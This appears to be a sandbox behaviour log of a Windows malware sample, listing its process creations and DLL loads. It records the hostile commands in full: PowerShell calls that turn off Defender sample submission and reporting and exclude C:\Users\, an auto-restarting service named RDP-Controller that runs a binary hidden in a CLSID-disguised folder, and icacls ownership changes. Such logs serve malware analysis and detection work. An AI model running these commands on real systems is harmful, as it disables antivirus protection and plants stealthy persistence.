Source: main.exe	String found in binary or memory: C:/msys64/mingw64/include/boost/asio/ip/impl/address_v6.ipp
Source: main.exe	String found in binary or memory: C:/msys64/mingw64/include/boost/asio/ip/impl/address_v4.ipp
Source: main.exe	String found in binary or memory: C:/msys64/mingw64/include/boost/asio/ip/impl/address.ipp
Source: main.exe	String found in binary or memory: C:/msys64/mingw64/include/boost/asio/ip/impl/address_v6.ipp
Source: main.exe	String found in binary or memory: C:/msys64/mingw64/include/boost/asio/ip/impl/address_v4.ipp

Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k NetworkService -p
Source: unknown	Process created: C:\Windows\System32\SgrmBroker.exe C:\Windows\system32\SgrmBroker.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k UnistackSvcGroup
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s wscsvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k wsappx -p -s ClipSVC
Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: unknown	Process created: C:\Users\user\Desktop\file.exe C:\Users\user\Desktop\file.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /k "C:\Users\user~1\AppData\Local\Temp\sobuolvnbi3uboa4e.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoLogo -Command "Set-MpPreference -SubmitSamplesConsent NeverSend"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k LocalService -s W32Time
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\lr75sq5smrngkif9fpn.exe "C:\Users\user~1\AppData\Local\Temp\lr75sq5smrngkif9fpn.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoLogo -Command "Set-MpPreference -MAPSReporting 0"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoLogo -Command "Add-MpPreference -ExclusionPath 'C:\Users\'"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\yhar2he6rpt6n0h1w6rh.exe "C:\Users\user~1\AppData\Local\Temp\yhar2he6rpt6n0h1w6rh.exe"
Source: C:\Users\user\AppData\Local\Temp\yhar2he6rpt6n0h1w6rh.exe	Process created: C:\Windows\System32\taskkill.exe taskkill.exe /F /FI "SERVICES eq RDP-Controller"
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\yhar2he6rpt6n0h1w6rh.exe	Process created: C:\Windows\System32\sc.exe sc.exe stop RDP-Controller
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\yhar2he6rpt6n0h1w6rh.exe	Process created: C:\Windows\System32\sc.exe sc.exe create RDP-Controller binpath= C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe type= own start= auto error= ignore
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\yhar2he6rpt6n0h1w6rh.exe	Process created: C:\Windows\System32\sc.exe sc.exe failure RDP-Controller reset= 1 actions= restart/10000
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\yhar2he6rpt6n0h1w6rh.exe	Process created: C:\Windows\System32\sc.exe sc.exe start RDP-Controller
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
Source: C:\Users\user\AppData\Local\Temp\yhar2he6rpt6n0h1w6rh.exe	Process created: C:\Windows\System32\icacls.exe icacls.exe C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\ /setowner *S-1-5-18
Source: C:\Windows\System32\icacls.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\yhar2he6rpt6n0h1w6rh.exe	Process created: C:\Windows\System32\icacls.exe icacls.exe C:\Users\Public /restore C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\95cRhCj4pPDP.acl
Source: C:\Windows\System32\icacls.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 440 -p 7988 -ip 7988
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 7988 -s 1128
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
Source: unknown	Process created: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\Desktop\file.exe C:\Users\user\Desktop\file.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /k "C:\Users\user~1\AppData\Local\Temp\sobuolvnbi3uboa4e.bat"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\lr75sq5smrngkif9fpn.exe "C:\Users\user~1\AppData\Local\Temp\lr75sq5smrngkif9fpn.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\yhar2he6rpt6n0h1w6rh.exe "C:\Users\user~1\AppData\Local\Temp\yhar2he6rpt6n0h1w6rh.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoLogo -Command "Set-MpPreference -SubmitSamplesConsent NeverSend"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoLogo -Command "Set-MpPreference -MAPSReporting 0"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoLogo -Command "Add-MpPreference -ExclusionPath 'C:\Users\'"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\yhar2he6rpt6n0h1w6rh.exe	Process created: C:\Windows\System32\taskkill.exe taskkill.exe /F /FI "SERVICES eq RDP-Controller"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\yhar2he6rpt6n0h1w6rh.exe	Process created: C:\Windows\System32\sc.exe sc.exe stop RDP-Controller	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\yhar2he6rpt6n0h1w6rh.exe	Process created: C:\Windows\System32\sc.exe sc.exe create RDP-Controller binpath= C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe type= own start= auto error= ignore	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\yhar2he6rpt6n0h1w6rh.exe	Process created: C:\Windows\System32\sc.exe sc.exe failure RDP-Controller reset= 1 actions= restart/10000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\yhar2he6rpt6n0h1w6rh.exe	Process created: C:\Windows\System32\sc.exe sc.exe start RDP-Controller	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\yhar2he6rpt6n0h1w6rh.exe	Process created: C:\Windows\System32\icacls.exe icacls.exe C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\ /setowner *S-1-5-18	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\yhar2he6rpt6n0h1w6rh.exe	Process created: C:\Windows\System32\icacls.exe icacls.exe C:\Users\Public /restore C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\95cRhCj4pPDP.acl	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 440 -p 7988 -ip 7988
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 7988 -s 1128
Source: C:\Windows\System32\WerFault.exe	Process created: unknown unknown

Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: moshost.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mapsbtsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mosstorage.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ztrace_maps.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ztrace_maps.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mapconfiguration.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: storsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fltlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bcd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: storageusage.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: aphostservice.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: networkhelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userdataplatformhelperutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: syncutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mccspal.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dmcfgutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dmcmnutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dmxmlhelputils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: inproclogger.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.networking.connectivity.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: synccontroller.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pimstore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: aphostclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: accountaccessor.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: systemeventsbrokerclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userdatalanguageutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mccsengineshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cemapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userdatatypehelperutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: phoneutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: d3d9.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: d3d9.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: w32time.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vmictimeprovider.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lr75sq5smrngkif9fpn.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lr75sq5smrngkif9fpn.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
